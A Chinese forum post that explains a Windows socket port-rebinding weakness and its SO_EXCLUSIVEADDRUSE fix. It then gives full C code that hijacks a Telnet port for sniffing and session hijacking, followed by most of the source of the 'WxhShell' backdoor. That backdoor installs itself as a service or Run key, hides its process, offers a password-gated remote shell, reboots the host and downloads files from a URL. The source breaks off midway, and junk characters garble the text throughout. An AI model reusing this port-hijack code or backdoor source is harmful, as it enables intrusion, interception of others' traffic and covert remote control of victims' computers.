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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lDlj+fK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lY->ucS %P  
[%t3[p<)O  
  saddr.sin_family = AF_INET; enPLaiJ'|q  
94+/wzWvi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +:!ScG*  
~xE=mg4le  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N)P((>S;  
e^Aa!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %GS\1 Q%  
yFi6jN#~  
  这意味着什么?意味着可以进行如下的攻击: n_u`B|^Pj  
t5n2eOy~T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qf)C%3gXI  
U81;7L8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  'X|v+ ?  
<g*.p@o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6I5o2i  
OFIMi^@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %Dra7B%  
n3*UgNg%fK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;n` $+g:>  
pY, O_ t$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?-d Ain1w  
Q QT G9s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 srsK:%`  
@7 )Z  
  #include u2\+?`Ox  
  #include  :4{Qh  
  #include v8>!Gft  
  #include    o|0 '0P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }}s8D>;G~  
  int main() N:OD0m%`)  
  { k3C"  
  WORD wVersionRequested; Pf{`/UlD  
  DWORD ret; 6mi$.' qP  
  WSADATA wsaData; tnN'V  
  BOOL val; Tt`L(oF  
  SOCKADDR_IN saddr; yS+ (<  
  SOCKADDR_IN scaddr; 6#fOCr;f7  
  int err; T7^ulG1'  
  SOCKET s; 8znj~7}#  
  SOCKET sc; z2.*#xTZn  
  int caddsize; `(!W s\:  
  HANDLE mt; #jhQBb4?,  
  DWORD tid;   ;v%Q8  
  wVersionRequested = MAKEWORD( 2, 2 ); c1PViko,>  
  err = WSAStartup( wVersionRequested, &wsaData ); XynU/Go,  
  if ( err != 0 ) { <sO?ev[  
  printf("error!WSAStartup failed!\n"); >6XDX=JVI  
  return -1; c%jsu"  
  } -J{Dxz  
  saddr.sin_family = AF_INET; {3.*7gnY\L  
   |OOXh[y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Td5bDO  
v'h3CaA9j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7Nd*,DV_  
  saddr.sin_port = htons(23); T=^jCH &  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FPvuzBJ  
  { (%6(5,   
  printf("error!socket failed!\n"); Z@;jIH4 (  
  return -1; 2]2{&bu  
  } *Ao2j;  
  val = TRUE; t3pZjdLJd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HE*7\"9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (QhG xuC  
  { 1% asx'^  
  printf("error!setsockopt failed!\n"); ;gEp!R8  
  return -1; "3\oQvi.  
  } | A3U@>6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (W7;}gysh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i5.?g<.H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1XqIPiXJ  
A<mj8qz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o`b$^hv{A  
  { Hde]DK,d  
  ret=GetLastError(); Po'-z<}wS  
  printf("error!bind failed!\n"); +ylxezc  
  return -1; xOwNCh  
  } P/C&R-{')  
  listen(s,2); S&5Q~}{,  
  while(1) mfu*o0   
  { c!tvG*{  
  caddsize = sizeof(scaddr); gTqeJWX9wP  
  //接受连接请求 ;,<r|.6U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ".Lhte R?  
  if(sc!=INVALID_SOCKET) ay=KfY5  
  { gCg4;b6g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i:V0fBR[>  
  if(mt==NULL) rn5"o8|  
  { /_ $~rW  
  printf("Thread Creat Failed!\n"); 8.*\+nH  
  break; "|(rVj=  
  } \d `dV0X  
  } 9B qQ^`bu  
  CloseHandle(mt); NS7@8 #C  
  } AF6d#Klog  
  closesocket(s); dNOX&$/=  
  WSACleanup(); F5<"ktnI  
  return 0; G /NT e  
  }   "Q3PC!7X:5  
  DWORD WINAPI ClientThread(LPVOID lpParam) xN e_qO  
  { fndK/~?]H  
  SOCKET ss = (SOCKET)lpParam; c_@XQ&DC`  
  SOCKET sc; 3DxZ#/!  
  unsigned char buf[4096]; eFt\D\XOW  
  SOCKADDR_IN saddr; Z[a O_6L  
  long num; 2=igS#h  
  DWORD val; j5PaSk&o=  
  DWORD ret; xIS\4]F?r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gV<0Hj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]]\)=F`n77  
  saddr.sin_family = AF_INET; .tZjdNE(h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T r SN00  
  saddr.sin_port = htons(23); J!=](s5|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !T<z'zZU  
  { aSn0o_4bD  
  printf("error!socket failed!\n"); zWF 5m )-  
  return -1; )9; (>cdl  
  } R2Twm!1  
  val = 100; C>.]Bvg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Py|H? ,6=  
  { i0,%}{`  
  ret = GetLastError(); C_;HaQiu  
  return -1; <{$ ev&bQ  
  } RY\{=f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KU1+<OCh  
  { b}ySZlmy  
  ret = GetLastError(); cxtLy&C  
  return -1; "WF( 6z#  
  } >{O[t2&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l@,);w=_P  
  { g0^~J2sDd  
  printf("error!socket connect failed!\n"); >Sc$R0  
  closesocket(sc); mA&RN"+V  
  closesocket(ss); Y&?|k'7  
  return -1; UI|v/(_^F  
  } 03X<x|  
  while(1) DZHrR:q?e  
  { t` }20=I+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9F2w.(m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k)H[XpM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v+xgxQGYH  
  num = recv(ss,buf,4096,0); K!IF?iell  
  if(num>0) hKk\Y{wv'  
  send(sc,buf,num,0); *23m-  
  else if(num==0) 1_Dn?G^H  
  break; Ov $N"  
  num = recv(sc,buf,4096,0); B6tcKh9d,  
  if(num>0) 1$='`@8I  
  send(ss,buf,num,0); t 3(%UB  
  else if(num==0) ](B& l{V  
  break; [47K7~9p  
  } ^>,< *p  
  closesocket(ss); #JJp:S~`   
  closesocket(sc); xFsB?d  
  return 0 ; JVJ1Ay/be  
  } F<PWBs%  
)'BJ4[aq\  
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========================================================== >>oASo  
dD/29b(  
下边附上一个代码,,WXhSHELL 1R5\GKF6o  
R$!;J?SS  
========================================================== ;4-p upK~%  
2x<Qt2"  
#include "stdafx.h" BiHiVhD_  
&=s|  
#include <stdio.h> Ft%TnEp  
#include <string.h> T+AlcOP  
#include <windows.h> xJ[k#?T'  
#include <winsock2.h> s${T*)S@G  
#include <winsvc.h> ()@.;R.Z  
#include <urlmon.h> {V]Qwz)1  
CX&yjT6`  
#pragma comment (lib, "Ws2_32.lib") eZN3H"H  
#pragma comment (lib, "urlmon.lib") 7]M,yIwc  
?)Czl4J  
#define MAX_USER   100 // 最大客户端连接数 &xGfkCP.]  
#define BUF_SOCK   200 // sock buffer L}e"nzTE6I  
#define KEY_BUFF   255 // 输入 buffer <B ]i80.  
Dyouk+08x  
#define REBOOT     0   // 重启 q G :jnl  
#define SHUTDOWN   1   // 关机 j=xtnIq  
\U)2 Tg  
#define DEF_PORT   5000 // 监听端口 @yU!sE:  
h}anTFKP  
#define REG_LEN     16   // 注册表键长度 w-0O j  
#define SVC_LEN     80   // NT服务名长度 RvyBg:Aj5  
l6&v}M  
// 从dll定义API C>w9 {h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1K? & J2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !^>LOH>j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AhbT/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ADLa.{  
 qrkRD*a  
// wxhshell配置信息 66^1&D"  
struct WSCFG { in=k:j,U0  
  int ws_port;         // 监听端口 Ac5o K  
  char ws_passstr[REG_LEN]; // 口令 O?j98H Sya  
  int ws_autoins;       // 安装标记, 1=yes 0=no CfkNy[}=  
  char ws_regname[REG_LEN]; // 注册表键名 RS||KA])J  
  char ws_svcname[REG_LEN]; // 服务名 Q !RVD*(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .q_uJ_qu-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F9u:8;\@`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rB.=f[aX[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eZR8<Z %  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9Th32}H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e\d5SKY  
[5RFQ!  
}; E1l\~%A  
4PO%qO  
// default Wxhshell configuration yv!''F:9F  
struct WSCFG wscfg={DEF_PORT, %|D\j-~  
    "xuhuanlingzhe", ;G4HMtL  
    1, hdsgOu  
    "Wxhshell", DmXDg7y7s  
    "Wxhshell", @Q$ /eL  
            "WxhShell Service", r3c\;Ra7  
    "Wrsky Windows CmdShell Service", uJ IRk$  
    "Please Input Your Password: ", @ V7ooo!  
  1, Z5*(W;;  
  "http://www.wrsky.com/wxhshell.exe", A<YZBR_  
  "Wxhshell.exe" U2[3S\@  
    }; GqIvvnw@f  
p E(<XD3Q  
// 消息定义模块 A5.'h<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uhw5O9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^EuyvftZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; os(Jr!p_=  
char *msg_ws_ext="\n\rExit."; w}U5dM`  
char *msg_ws_end="\n\rQuit."; (AM,4)lW,  
char *msg_ws_boot="\n\rReboot..."; .kB3jfw0,  
char *msg_ws_poff="\n\rShutdown..."; +9Hk+.  
char *msg_ws_down="\n\rSave to "; =|6^)lt$  
Z+``/Q]>+  
char *msg_ws_err="\n\rErr!"; FQ9csUjpB  
char *msg_ws_ok="\n\rOK!"; NqQ(X'W7  
Hz3 S^o7  
char ExeFile[MAX_PATH]; $@u^Jt, ?  
int nUser = 0; PFDWC3<  
HANDLE handles[MAX_USER]; t5X^(@q4N  
int OsIsNt; CJ}@R.Zy  
/4"S}P>f  
SERVICE_STATUS       serviceStatus; xPfnyAo?%z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O&?CoA?  
\6`%NhkM_  
// 函数声明 ?2<6#>(7a  
int Install(void); Ltic_cjYd?  
int Uninstall(void); $Va]vC8?  
int DownloadFile(char *sURL, SOCKET wsh); RZV1:hNN  
int Boot(int flag); H%NLL4&wu  
void HideProc(void); 9$Pl'>5  
int GetOsVer(void); F'5d\v  
int Wxhshell(SOCKET wsl); :`>+f.)  
void TalkWithClient(void *cs); n7,6a  
int CmdShell(SOCKET sock); {Jw<<<G  
int StartFromService(void); W &0@&U  
int StartWxhshell(LPSTR lpCmdLine); XJxs4a1[t  
zFdz]z3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3U9+l0mBa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); od5w9E.  
:LIKp;  
// 数据结构和表定义 l6`d48U  
SERVICE_TABLE_ENTRY DispatchTable[] = 2;?wN`}5g=  
{ 3ciVjH>i  
{wscfg.ws_svcname, NTServiceMain}, 7ck0S+N'b  
{NULL, NULL}  +s R *d  
}; o wpJ7S1~  
#`vGg9  
// 自我安装 ILr6W@o5A  
int Install(void) ^pQ;0[9Y0  
{ vn%U;}  
  char svExeFile[MAX_PATH]; 9Pob|UA  
  HKEY key; !iitx U  
  strcpy(svExeFile,ExeFile); EkjK92cF  
/<?X-IDz.{  
// 如果是win9x系统,修改注册表设为自启动 y8~)/)l&  
if(!OsIsNt) { 6rN5Xf cS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }'.Sn{OWf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^cmP  
  RegCloseKey(key); h$ETH1Ue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S4:\`Lo-;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {u_k\m[Y  
  RegCloseKey(key); 4|Gs(^nU  
  return 0; |7'yk__m  
    } ]g-qWSKU  
  } J|2Hqd  
} U*R~w5W.[  
else { E=1/  
Q!+{MsZ  
// 如果是NT以上系统,安装为系统服务 &v9PT!R~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dT@SO  
if (schSCManager!=0) u&d v[  
{ Yq hz(&*)  
  SC_HANDLE schService = CreateService 9uq+Ve>  
  ( 8apKp?~yW  
  schSCManager, Hj4w i|  
  wscfg.ws_svcname, x+:,b~Skk  
  wscfg.ws_svcdisp, -TU{r_!Z(  
  SERVICE_ALL_ACCESS, mKFHT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7E75s)KH  
  SERVICE_AUTO_START, !qGx(D{\  
  SERVICE_ERROR_NORMAL, I`$I0  
  svExeFile, hIO4%RQj_  
  NULL, vzrD"  
  NULL, q(ET)xCeD  
  NULL, pffw5Tc  
  NULL, Z Lio8  
  NULL MoR-8vnJ  
  ); _M]rH<h  
  if (schService!=0) f_P+qm  
  { Oi%~8J>  
  CloseServiceHandle(schService); @~U6=(+  
  CloseServiceHandle(schSCManager); 7F9g:r/^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6!Ji>h.Ak  
  strcat(svExeFile,wscfg.ws_svcname); rPGE-d3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x< y[na  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fJ"~XTN}T  
  RegCloseKey(key); L+ETMk0  
  return 0; QGz3id6  
    } pQMpkAX  
  } xEZVsz  
  CloseServiceHandle(schSCManager); NF)\">Ye  
} &{4Mo,x  
} D%Jc?6/I#3  
Pc; 14M  
return 1; 1> @|  
} F-7b`cF9[r  
KsU&<eQ  
// 自我卸载 {_X1&&>8/  
int Uninstall(void) TYS\:ZdXF  
{ HYYx*CJ)  
  HKEY key; [#rdfN'?U  
K84cE  
if(!OsIsNt) { H6CGc0NS+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qH$rvD!]  
  RegDeleteValue(key,wscfg.ws_regname); ?Nze P?g  
  RegCloseKey(key); .L{+O6*c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nIKT w  
  RegDeleteValue(key,wscfg.ws_regname); (kNTXhAr4  
  RegCloseKey(key); M^Ay,jK!  
  return 0; 2l/5i]Tq  
  } +?txGHQq  
} j nA_!;b  
} VJtTbt;>  
else { ,Yprk%JT  
Eno2<<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CU^3L|f2N  
if (schSCManager!=0) @C [|'[xQ  
{ ,~?A. 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iK:qPrk-  
  if (schService!=0) {,C8}8 a W  
  { % ih7Jt  
  if(DeleteService(schService)!=0) { #`)-$vUv^f  
  CloseServiceHandle(schService); !#gE'(J;c  
  CloseServiceHandle(schSCManager); -%gd')@SfD  
  return 0; s!fY^3  
  } S9#N%{8P  
  CloseServiceHandle(schService); w |FV qX  
  } QOy&!6  
  CloseServiceHandle(schSCManager); z.Kq}r^  
} x|i3e& D  
} QpTNU.v5f  
DMZ aMY|  
return 1; ${6'  
} gw"l& r  
%oKqK >S)  
// 从指定url下载文件 `ur9KP4Dq  
int DownloadFile(char *sURL, SOCKET wsh) Ollv _o3  
{ i\4"FO?v  
  HRESULT hr; +|)#yE$aMh  
char seps[]= "/"; k:@Ls  
char *token; m+^;\DFJ,  
char *file; 3[i !2iL.  
char myURL[MAX_PATH]; G$`4.,g  
char myFILE[MAX_PATH]; uW'4 Kt  
QuRg(K%:  
strcpy(myURL,sURL); ^(JbJ@m/  
  token=strtok(myURL,seps); Fj('l  
  while(token!=NULL) jz7ltoP  
  { <Jrb"H[ T"  
    file=token; u#,'ys  
  token=strtok(NULL,seps); w:xKgng=L  
  } +4nR&1z$  
yrNc[kS/  
GetCurrentDirectory(MAX_PATH,myFILE); f\r4[gU@  
strcat(myFILE, "\\"); Zt0%E <C{  
strcat(myFILE, file); M`fXH 3D  
  send(wsh,myFILE,strlen(myFILE),0); /lQ0`^yB  
send(wsh,"...",3,0); tskODM0Zf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |ylTy B  
  if(hr==S_OK) B(Q.a&w45t  
return 0; {u6fa>R&$  
else 6|qvo+%  
return 1; Y4!q 1]TGX  
'nt,+`.y6  
} <n#V  
TZyQOjUu  
// 系统电源模块 XJ/ kB8  
int Boot(int flag) rw0lXs#K<E  
{ aDv/kFfn  
  HANDLE hToken; m$qC 8z]  
  TOKEN_PRIVILEGES tkp; t% B!\]  
RAQ;O  
  if(OsIsNt) { Cj\+u\U#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KrG6z#)Uz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |5B9tjJ"  
    tkp.PrivilegeCount = 1; at]Q4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H[k3)r2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5(`GF|  
if(flag==REBOOT) { gH)B` @  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $uB(@Ft.  
  return 0;  CyDf[C)=  
} lfeWtzOf  
else { 4EbiCSo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Es)?>eah  
  return 0; <OfzE5  
} c7!`d.{90  
  } Cbvl( (  
  else { A0u:Fm{E  
if(flag==REBOOT) { w=o m7%J@l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -\C6j  
  return 0; Qnx92   
} o xu9v/  
else { K05Y;URbd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b/Q"j3  
  return 0; 3Dvk oV  
} svjFy/T(lL  
} .: ;Hh~  
e"mfJY  
return 1; Ayt!a+J  
} F <Z=%M3e  
',7Z1O  
// win9x进程隐藏模块 ,)G+h#Y[*  
void HideProc(void) q\Kdu5x{  
{ f_XCO=8'v  
:"IH*7xp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <yO9j   
  if ( hKernel != NULL ) *sVxjZvV  
  { { F8,^+b|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (HKm2JuFG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f(o`=% k8  
    FreeLibrary(hKernel); Lf M(DK  
  } rqJj!{<B  
3h4"Rv=,  
return; ^:ngHue8~  
} e91d~  
&B7KWvAy  
// 获取操作系统版本 mLA$ F4/K  
int GetOsVer(void) j=>G fo  
{ P32'`!/:  
  OSVERSIONINFO winfo; Y @&nW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jhM|gV&  
  GetVersionEx(&winfo); PQ]N>'v-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y2&6xTh  
  return 1; B*N8:u  
  else lf# six  
  return 0; ]+9:i!s  
} U5 "v1"Ec  
dsuW4 ^ l  
// 客户端句柄模块 jzMGRN/67  
int Wxhshell(SOCKET wsl) HbVm O]#$D  
{ OXV@LYP@  
  SOCKET wsh; ;0q6 bp(<H  
  struct sockaddr_in client; rdg1<Z  
  DWORD myID; -~ Q3T9+  
H`@7o8oj1  
  while(nUser<MAX_USER) &H{>7q#r  
{ O0YGjS|d  
  int nSize=sizeof(client); 4q8%!\A+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $dw;Kj'\  
  if(wsh==INVALID_SOCKET) return 1; CFxs`C^  
>i E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \vQ (  
if(handles[nUser]==0) n//a;m  
  closesocket(wsh); )6WU&0>AU8  
else WfZ#:G9  
  nUser++; 5UyK1e))  
  } xGL"N1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QLl44*@  
Fj4:_(%nG  
  return 0; 1+iiiVbMH  
} b1!%xdy_T  
R!CUR~F  
// 关闭 socket v*v&f!Ym&s  
void CloseIt(SOCKET wsh) Kn|dnq|G  
{ ]F! h~>  
closesocket(wsh); A???s,F_  
nUser--; 6j#5Ag:  
ExitThread(0); 2&#iHv  
} '9XwUQx  
VZR6oia  
// 客户端请求句柄 :+$_(* Z  
void TalkWithClient(void *cs) >=Veu; A  
{ 0IuU4h5Fr  
ly+7klQ;.  
  SOCKET wsh=(SOCKET)cs; B4=gMVp1  
  char pwd[SVC_LEN]; enM 3  
  char cmd[KEY_BUFF]; J( 60eTwQ  
char chr[1]; VF.S)='>Eu  
int i,j; 2=RDAipf59  
Jo]g{GX[  
  while (nUser < MAX_USER) { n2~rrQ \/p  
UqbE  
if(wscfg.ws_passstr) { %+}\i'j7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -xlI'gNg7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %## bg<  
  //ZeroMemory(pwd,KEY_BUFF); b-XBs7OAx  
      i=0; s!Vtw p9  
  while(i<SVC_LEN) { 1>1!oml1E  
WxdYvmp6z[  
  // 设置超时 V qf}(3K0  
  fd_set FdRead; HAXx`r<  
  struct timeval TimeOut; R?R6|4  
  FD_ZERO(&FdRead); O.!?O(  
  FD_SET(wsh,&FdRead); Lm/^ 8V+  
  TimeOut.tv_sec=8; z`CI gSR  
  TimeOut.tv_usec=0; y|ZJ-[qg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WD]dt!V%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }Na*jr0y9{  
-xXM/3g1u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6|9fcIh]B  
  pwd=chr[0]; MwZ`NH|n3"  
  if(chr[0]==0xd || chr[0]==0xa) { EP @=i  
  pwd=0; ;lldxS  
  break; bbnAmZ   
  } aj:+"X-;  
  i++; G[<iVt$y  
    } m-K6y7t  
4YJs4CB  
  // 如果是非法用户,关闭 socket rmhB!Lo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mGX;JOjZ  
} RV~w+%f  
K>-m8.~\E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qe0@tKim  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H$ v4N8D8I  
"dt3peH  
while(1) { &p*N8S8  
[Gu]p&  
  ZeroMemory(cmd,KEY_BUFF); Q8O38uZ  
}9'rTLM  
      // 自动支持客户端 telnet标准   NWf!c-':  
  j=0; ][9M_.  
  while(j<KEY_BUFF) { f -#fi7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~k&b3-A}  
  cmd[j]=chr[0]; ,]+6kf5  
  if(chr[0]==0xa || chr[0]==0xd) { edm&,ph]  
  cmd[j]=0; 15870xS  
  break;  ^rI&BN@S  
  } 9yQ[*  
  j++; b"J(u|Du`  
    } FQ[::*-  
Z0x N9S  
  // 下载文件 *l|CrUa  
  if(strstr(cmd,"http://")) { ~-,<`VY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &iuc4"'  
  if(DownloadFile(cmd,wsh)) ,Ti#g8j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .NabK  
  else U7Ps2~x3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \KG{ 11  
  } z19y>j  
  else { +* &!u=%G  
Ly3^zF W  
    switch(cmd[0]) { )y8$-"D(it  
  s+4G`mq>*  
  // 帮助 6$IAm#  
  case '?': { q4VOK 'N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LJT+tb?K  
    break; >%xJ e'  
  } J^u8d?>r  
  // 安装 [ %r :V"  
  case 'i': { b-wFnMXk+  
    if(Install()) F3+)bIz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n U/v(lN  
    else ~$+9L2gz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K2!KMhvQ  
    break; z[vMO%  
    } (CEJg|,  
  // 卸载 I'C{=?  
  case 'r': { & %1XYpA.0  
    if(Uninstall()) o-R;EbL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %c[by  
    else Lt_7pb%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T*z >A  
    break; O||M |  
    } JGJQ5zt  
  // 显示 wxhshell 所在路径 @>JO &,od  
  case 'p': { R}*e%EG/  
    char svExeFile[MAX_PATH]; %3Y&D]  
    strcpy(svExeFile,"\n\r"); 6kHAoERp  
      strcat(svExeFile,ExeFile); iN_G|w[d  
        send(wsh,svExeFile,strlen(svExeFile),0); !J.qH%S5   
    break; m7fmQUk  
    } ze]2-B4  
  // 重启 P#6y  
  case 'b': { Ig]Gg/1G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qbmy~\ZY  
    if(Boot(REBOOT)) t(^c]*r~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); POdG1;)  
    else { nKch _Jb  
    closesocket(wsh); :v=Yo  
    ExitThread(0); <kt,aMw[*  
    } (eSa{C\  
    break; Rj1Z  
    } F.K7w  
  // 关机 m@)K]0g<f  
  case 'd': { 59IxY ?  
